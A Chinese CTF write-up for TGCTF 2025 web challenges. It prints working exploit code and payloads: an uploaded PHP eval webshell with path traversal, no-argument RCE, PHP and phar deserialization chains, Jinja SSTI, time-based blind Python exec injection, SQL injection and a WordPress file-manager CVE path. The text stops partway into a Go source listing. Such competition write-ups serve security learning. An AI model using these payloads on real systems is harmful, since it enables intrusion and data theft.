TGCTF2025-SevenSword-WP

​ 感谢小伙伴peng和keup周末不务正业陪我来打TGCTF,这次题目总体要比xyctf简单一些,MISC题peng✌直接AK拿下,太强了!

​ 以下题解提供:BR(WEB,REVERSE)、peng(MISC,CRYPTO)、keup(PWN)

[TOC]

WEB

(ez)upload

image-20250413013914113

​ 文件上传,通过御剑可以扫到备份文件:

image-20250413172954965

​ /upload.php.bak:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

​ 过滤了一堆后缀,同时用preg_match进行了waf,不闭合尖括号即可绕过preg_match的正则匹配:

1
<?php eval($_REQUEST['cmd']);

​ 注意到可传入name参数来控制文件名,同时basename并没有对name参数进行清洗,$img_path是由文件名直接拼接得到,存在目录穿越漏洞,因此我们可以将文件上传到/var/www/html目录中,配合.user.ini实现对非.php文件的解析,上线webshell:

image-20250413184740915

image-20250413184759019

​ 最后传入payload:

1
2
/index.php?cmd=system("env");
或/upload.php?cmd=system("env");

image-20250413184941910

1
TGCTF{b006a19c-a5e5-bc57-7f46-b62f83707616}

AAA偷渡阴平

image-20250413013924069

​ 进入题目获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

​ 是一个RCE,但是过滤了很多字符,可以打无参RCE,参考无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

​ payload为:

1
/?tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat /flag');

image-20250413004551784

1
TGCTF{e6884be6-8d21-e620-f500-268634a390d9}

什么文件上传?

image-20250413013935381

​ 扫描目录,发现/robots.txt

image-20250413004739856

image-20250413004825101

​ /class.php访问得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

​ 原来是一个披着文件上传皮的php反序列化,非常简单的链子:

1
yesterday::__destruct() -> today::__call() -> future::__toString()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);
function best64_encode($str)
{
return base64_encode(base64_encode(base64_encode(base64_encode(base64_encode($str)))));
}

class yesterday {
public $learn;
public $study="study";
public $try;
public function __destruct()
{
//echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
//echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __toString(){
// echo "This is your future.<br>";
// system($_POST["wow"]);
return "win";
}
}


$a = new yesterday();
$a->study = new today();
$a->study->doing = new future();

echo best64_encode(serialize($a));
# Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZXUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBoa1QxSkhVbkZhVnpBMFpVWlJlV0pGZEd4aVZrcEtWbTB4TUdKR1ZYZGhlazVYVTBoQ01sUldWVFZqUms1eFVXMXNUbUpGY0haWGJGcFBVMnMxY2sxVVdtcFNSMUp4V2xjd05HVkdVWGxpUlhSb1RXdHNOVmxyYUZkWlYxWldZWHBPVjFOSVFqSlVWM00xWTBaT2RFMVhkRmhTYTJ3MFYxUkplRlp0UmxaUFdFWlVWMGhDVVZsdE5WTk9iRkY1WTBWYVQxSlViSGRWTVZaSFdWZEtjMWRZWkdGU2JXaE1XV3RXUjFOSFNrbFZiWEJUWlcxM01sZFljRXRqTWtaWVUydG9WMVl5ZUZGVVZFRjNUV3hTV0dOR1drOWhNbmg1V1ZWb1lXRXlWbFpUYmtaWVZtMU5kMWRxU2xkWFJUbFZVbXR3VTAxc1NucFhhMVpQVVRKSmVHTkdiRlJpV0doU1dsYzFiMk5HYTNsaWVrSm9WbFJvTmxaR1VtRlViRnBHVmxSS1ZGWXlVa1JaYkdSVFYxWldjVkp0Y0dsV2JGcERWMWR3VDFZd01VWmlTRVpyVWxSc1VWUlVRWGROYkZKWFZXdEtUMkV5ZUhWVlZ6QjRZVEZrUjFOWWFGcE5ha1pYVlZaa1MyUkZPVWhpUmtKT1VrWkZlbGRVVG5ka2F6QjNUMWhDVkdGclduRlVWM2hoWkVad1IxcEVUbXhTVjNoNFdrVlZOVlZGTUhkTlJFcFZZbTVDTWxsV1pGTlhWbEowWlVkR2FXSkdjRFpXUm1SelUyczBlRlZ1Um10VFNFSlJXVmN4VGsxc1RsaE9WbVJzWWtoQ1dWWXljRWRoVmtwR1RWaENWV1ZyUlhkVWFrcFBUbTFLTmxSc1FtaFdWemswVjFod1MxWXlTbGhWYkdoclpXdEtTMWxYTlZOVlJsSTJWR3MxVDJGNlZUSlpha3B6WVRGa1JrNVlUbGhpVkZaWVdYcEJNVlpHVGxWYVJsWm9ZbXhKTWxaRVNuZGhhelZ5WWtoV1YySnVRbWhXYWtaMlpVWnNjbFZzY0doV1ZHZ3pWR3RTYTJGdFZuUlBTSEJWVFcxNFRGUldaRTVsVmxwMFRWZDBWMDB5VGpaVk1XUjNUVVpSZDA5SWNGVldSbkJRV2xjd05XTkdjRWRoUlRscFVtNUNNVlp0TlU5VlJrVjNZWHBPVjFJelFYZGFWM00xWTFac05sZHJjR2xpUm04eVZqSjRhMWxWTVZoVGExWm9UVzE0VVZSVlVsSk5NV3Q2WTBoYVQxSlViSGRWTW5CSFlXc3hjMWR1VW1GU2JWRjZXbFZWZUZKR1RsVmFSbFpvWW14Sk1sWkVTbmRpYXpWeVlraFdWMkp1UW1oV2FrWjJaVVpzY2xWcldteFNWM2g0V2tWVk5WVkZNSGROUkVwVlRVWktNbGxXWkZOWFZsSjBaVWRHYVdKR2NEWldSbHBUVTIxR1ZrOUlaRTlTUjFKeFdsY3dORTFHVVhsaVJYUk9WakF4TlZadE1IaGhNVmw2V2tSU1ZWZEhlRXRVYWtaVFkxZFNTV05HUW1oaVYwMTVWVEZqTVZZeVZuTmpSbWhZWVd0YWNGVnJWbFprTVU1WVkwUkNWVTFFYURaV1JsSmhWVVpLU0U5WVFtRlNiV2hRV1d0YWQyUldXblZVYXpWWFVteGFkMVpJY0VKTlJUUjVWR3BhYVdWc1NsRlpWbFoyWlVac05sTnNaR2xXTVVwWldrUk9iMVF5UmxaaGVrNVhVak5CZDFwWGN6VmpWbkEyVjJ0d2FXSkdiekpXTW5ocldWVXhXRk5yVmxOV1JUVkxXVmMxVTFWR1VqWlVhelZQWVhwc1JsbHFTbk5oTVdSR1RsaE9XR0pVVmxoWmVrRjRWbFp2ZVdKR1FrNVNSa1Y2VjFST2QyUnJOVVpQV0VKVVlXdGFjVlJYZUdGa1JuQkhXa1JPYkZKVWJGVlZNVkpyVmxkR2RWVnFXbFZOYmtKMVZHMTBjMlJXV25WalIwWlhUVmM1TkZkWGRGTlRiVkYzWWtoR2ExSlViRkZVV0hCSFRteFJlV05GTlU5aE1uZ3dWbGMxUTFsV1JYZGhlazVYVWpOQmQxcFhjelZqVmxaVlYydHdhVlpyYjNsWFZ6QjRWbTFHVms5SVpFOVNSMUowVmpCVmQwMXNVbGxqU0Zwb1ZqRktTbFV5Y0ZkVGJVWjFWV3hDVldWck1UTlZSa1U1VUZFOVBRPT0=
?>

​ 最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://node2.tgctf.woooo.tech:30290/class.php?filename="

payload = "Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZXUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBoa1QxSkhVbkZhVnpBMFpVWlJlV0pGZEd4aVZrcEtWbTB4TUdKR1ZYZGhlazVYVTBoQ01sUldWVFZqUms1eFVXMXNUbUpGY0haWGJGcFBVMnMxY2sxVVdtcFNSMUp4V2xjd05HVkdVWGxpUlhSb1RXdHNOVmxyYUZkWlYxWldZWHBPVjFOSVFqSlVWM00xWTBaT2RFMVhkRmhTYTJ3MFYxUkplRlp0UmxaUFdFWlVWMGhDVVZsdE5WTk9iRkY1WTBWYVQxSlViSGRWTVZaSFdWZEtjMWRZWkdGU2JXaE1XV3RXUjFOSFNrbFZiWEJUWlcxM01sZFljRXRqTWtaWVUydG9WMVl5ZUZGVVZFRjNUV3hTV0dOR1drOWhNbmg1V1ZWb1lXRXlWbFpUYmtaWVZtMU5kMWRxU2xkWFJUbFZVbXR3VTAxc1NucFhhMVpQVVRKSmVHTkdiRlJpV0doU1dsYzFiMk5HYTNsaWVrSm9WbFJvTmxaR1VtRlViRnBHVmxSS1ZGWXlVa1JaYkdSVFYxWldjVkp0Y0dsV2JGcERWMWR3VDFZd01VWmlTRVpyVWxSc1VWUlVRWGROYkZKWFZXdEtUMkV5ZUhWVlZ6QjRZVEZrUjFOWWFGcE5ha1pYVlZaa1MyUkZPVWhpUmtKT1VrWkZlbGRVVG5ka2F6QjNUMWhDVkdGclduRlVWM2hoWkVad1IxcEVUbXhTVjNoNFdrVlZOVlZGTUhkTlJFcFZZbTVDTWxsV1pGTlhWbEowWlVkR2FXSkdjRFpXUm1SelUyczBlRlZ1Um10VFNFSlJXVmN4VGsxc1RsaE9WbVJzWWtoQ1dWWXljRWRoVmtwR1RWaENWV1ZyUlhkVWFrcFBUbTFLTmxSc1FtaFdWemswVjFod1MxWXlTbGhWYkdoclpXdEtTMWxYTlZOVlJsSTJWR3MxVDJGNlZUSlpha3B6WVRGa1JrNVlUbGhpVkZaWVdYcEJNVlpHVGxWYVJsWm9ZbXhKTWxaRVNuZGhhelZ5WWtoV1YySnVRbWhXYWtaMlpVWnNjbFZzY0doV1ZHZ3pWR3RTYTJGdFZuUlBTSEJWVFcxNFRGUldaRTVsVmxwMFRWZDBWMDB5VGpaVk1XUjNUVVpSZDA5SWNGVldSbkJRV2xjd05XTkdjRWRoUlRscFVtNUNNVlp0TlU5VlJrVjNZWHBPVjFJelFYZGFWM00xWTFac05sZHJjR2xpUm04eVZqSjRhMWxWTVZoVGExWm9UVzE0VVZSVlVsSk5NV3Q2WTBoYVQxSlViSGRWTW5CSFlXc3hjMWR1VW1GU2JWRjZXbFZWZUZKR1RsVmFSbFpvWW14Sk1sWkVTbmRpYXpWeVlraFdWMkp1UW1oV2FrWjJaVVpzY2xWcldteFNWM2g0V2tWVk5WVkZNSGROUkVwVlRVWktNbGxXWkZOWFZsSjBaVWRHYVdKR2NEWldSbHBUVTIxR1ZrOUlaRTlTUjFKeFdsY3dORTFHVVhsaVJYUk9WakF4TlZadE1IaGhNVmw2V2tSU1ZWZEhlRXRVYWtaVFkxZFNTV05HUW1oaVYwMTVWVEZqTVZZeVZuTmpSbWhZWVd0YWNGVnJWbFprTVU1WVkwUkNWVTFFYURaV1JsSmhWVVpLU0U5WVFtRlNiV2hRV1d0YWQyUldXblZVYXpWWFVteGFkMVpJY0VKTlJUUjVWR3BhYVdWc1NsRlpWbFoyWlVac05sTnNaR2xXTVVwWldrUk9iMVF5UmxaaGVrNVhVak5CZDFwWGN6VmpWbkEyVjJ0d2FXSkdiekpXTW5ocldWVXhXRk5yVmxOV1JUVkxXVmMxVTFWR1VqWlVhelZQWVhwc1JsbHFTbk5oTVdSR1RsaE9XR0pVVmxoWmVrRjRWbFp2ZVdKR1FrNVNSa1Y2VjFST2QyUnJOVVpQV0VKVVlXdGFjVlJYZUdGa1JuQkhXa1JPYkZKVWJGVlZNVkpyVmxkR2RWVnFXbFZOYmtKMVZHMTBjMlJXV25WalIwWlhUVmM1TkZkWGRGTlRiVkYzWWtoR2ExSlViRkZVV0hCSFRteFJlV05GTlU5aE1uZ3dWbGMxUTFsV1JYZGhlazVYVWpOQmQxcFhjelZqVmxaVlYydHdhVlpyYjNsWFZ6QjRWbTFHVms5SVpFOVNSMUowVmpCVmQwMXNVbGxqU0Zwb1ZqRktTbFV5Y0ZkVGJVWjFWV3hDVldWck1UTlZSa1U1VUZFOVBRPT0="

cmd = {
"wow": "cat /flag"
}

response = requests.post(url+payload, data=cmd)
print(response.text)

image-20250413005903917

1
TGCTF{cbbb57ee-bf3f-4228-1580-111e4e3ca343}

前端GAME

image-20250413013959907

​ 前端相关题目,直接看源码:

image-20250413012253783

​ 提示flag在/tgflagggg,但是我们并没有找到相关读取功能,但是检索到了相关CVE:

image-20250413012345094

​ payload:

1
/@fs/tgflagggg?import&raw??

image-20250413012601620

1
TGCTF{46730dc3-a07d-00b2-e9dc-f52d01cb5bf7}

火眼辩魑魅

image-20250413014012136

​ 刚进入环境啥有用的都没有,直接扫目录:

image-20250413012736871

image-20250413012755619

​ 经过尝试,/tgshell.php可以使用蚁剑直接连接:

image-20250413012905922

image-20250413012943134

image-20250413012959793

1
TGCTF{7e458a5f-2ef3-7926-01f9-97b36aa8f7ca}

直面天命

image-20250413014022186

​ 进入环境,源码有提示:

image-20250413013115265

image-20250413013135400

​ 这里挺坑的,26的四次方有45w多次请求,很容易把靶机爆破没了:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = "http://node1.tgctf.woooo.tech:31315/"

ch = "abcdefghijklmnopqrstuvwxyz"

for a in ch:
for b in ch:
for c in ch:
for d in ch:
print(a + b + c + d)
res = requests.get(url + a + b + c + d)
if res.status_code != 404:
break

​ 爆破到/aazz,查看源码提示可以传参:

image-20250413013433848

​ 用arjun来fuzz一下:

image-20250413013555420

​ 得到参数为:filename

​ 随便试一下:

image-20250413013636028

image-20250413013647769

​ 应该是非预期了

1
TGCTF{9535fd55-de67-a659-ff42-5eb27475f8b1}

直面天命(复仇)

image-20250413132327885

​ 没有文件读取了,直接给源码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧,再去西行历练历练'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”最后,如果你用了cat,就可以见到齐天大圣了"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '或许你这只叫天命人的猴子,真的能做到?'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"{source_code}", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

​ 从“直面天命”可以读到key:

image-20250413135134519

1
secret_key = "直面天命"

​ 其中{}被过滤,可以用天命难违来替代,fenjing生成一个payload

1
2
3
4
5
6
7
8
9
10
11
12
13
from fenjing import exec_cmd_payload, config_payload

def waf(s: str):
blacklist = ['lipsum','|','%','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
return all(word not in s for word in blacklist)

if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "cat /tgffff11111aaaagggggggg")
shell_payload = shell_payload.replace("{{", "天命")
shell_payload = shell_payload.replace("}}", "难违")
print(f"{shell_payload}")

# 天命((g['p''op']["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]('o''s'))['p''open']('cat /tgffff11111aaaagggggggg'))['r''ead']()难违

image-20250413140552941

image-20250413140831156

1
TGCTF{2e5b0b85-cffa-5c45-0424-1acb7bb5adf3}

熟悉的配方,熟悉的味道

image-20250413014031309

​ 题目直接给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()

​ 对eval做的防护很好,但是对exec却没有任何保护,可以直接当无回显python的RCE来打,测试了下好像不出网,就选择打了个盲注(不知道怎么少了个F,添上就行):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import time

def cmd(cmd):
url = "http://node1.tgctf.woooo.tech:32142/"
# url = "http://127.0.0.1:9040/"
result = ""

for i in range(100):
flag = True
left = 33
right = 126

while True:
data = {
"expr": f'a=__import__("os").popen("{cmd}").read()\nif(ord(a[{i}])<{(left+right)//2}):__import__("time").sleep(1)'
}
if flag:
try:
res = requests.post(url, data=data)
except Exception as err:
pass
# print(res.text)
flag = False

start = time.time()

try:
res = requests.post(url, data=data)
except Exception as e:
print(e)
i -= 1
continue

end = time.time()
print(left, right, (left+right)//2, end-start)

if end - start > 1:
right = (left+right)//2-1
else:
left = (left+right)//2+1

if left > right:
# print(chr(left-1), end="")
result += chr(left-1)
print(result)
break


cmd('cat /f*')

image-20250413131600666

1
TGCTF{4ce3e1f1-1cd8-1a19-748d-8d4baa869e3a}

TG_wordpress

image-20250413014046753

​ 这我咋写复现wp:

image-20250413185427771

​ 当时的做法是:

​ 在网站主界面有一篇渗透日记,提到了”前台读取密码”,信息检索一下:

image-20250413185718459

​ 发现了这篇博客:CVE-2020-25213 WordPress远程代码执行漏洞复现 - Salvere - 博客园

​ 访问了下测试payload:

1
/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

​ 发现存在该漏洞,直接提交CVE正确

1
TGCTF{CVE-2020-25213}

​ 有空完整复现一下,这靶机老炸根本打不了一点

什么文件上传?(复仇)

image-20250413014159357

​ 类似“什么文件上传?”,不过/class.php有些不同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_encode(md5(base64_encode(md5($str))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

​ 显然不能直接用原来的payload了(PS:best64是什么鬼啦?)

​ 可以利用file_exists结合phar://伪协议进行phar反序列化

​ 那么首先需要上传一个phar文件,根据提示:

image-20250413015014058

​ 爆破得到文件上传的后缀为:.atg

image-20250413015131794

​ exp生成phar文件,直接网上有现成的代码抄下来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
error_reporting(0);
class yesterday {
public $learn;
public $study="study";
public $try;
public function __destruct()
{
// echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
// echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}

class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __toString(){
// echo "This is your future.<br>";
# system($_POST["wow"]);
return "win";
}
}



@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$a = new yesterday();
$b = new today();
$c = new future();
$a->study = $b;
$b->doing = $c;

$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

​ 改名并上传文件,最后RCE的exp:

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://node2.tgctf.woooo.tech:30123/class.php?filename=phar://uploads/phar.atg"

cmd = {
"wow": "env"
}

response = requests.post(url, data=cmd)
print(response.text)

image-20250413015705402

1
TGCTF{6b2beeee-fea2-9b17-e830-b48596136f35}

AAA偷渡阴平(复仇)(未解)

image-20250413014100901

TGCTF 2025 后台管理

image-20250413014215708

​ 进入环境是一个登录框,推测存在sql注入,简单fuzz了一下发现过滤了',并且限制字符串长度不超过64,故意过滤了',那么题目很可能是单引号闭合,通过给username传入\转义第二个引号,同时给password传入#注释第四个引号,完成闭合

image-20250413020354210

​ 读取数据库:

image-20250413020536347

​ 正常做法到这一步就卡住了,构造的

1
union select concat(table_name),2 from information_schema.tables#

​ 恰好超出一个字符

​ 最后随便猜了下flag在flag里,读取到flag(应该是非预期):

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://124.71.147.99:9045/login"

login = {
"username": "\\",
"password": "union select * from flag#"
}

response = requests.post(url, data=login)
print(response.text)

image-20250413020911343

1
TGCTF{ac4ca16f-f1508c-000342}

老登,炸鱼来了?(未解)

image-20250413014226006

​ 访问/read?name=example.md获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
package main

import (
"fmt"
"io"
"log"
"net/http"
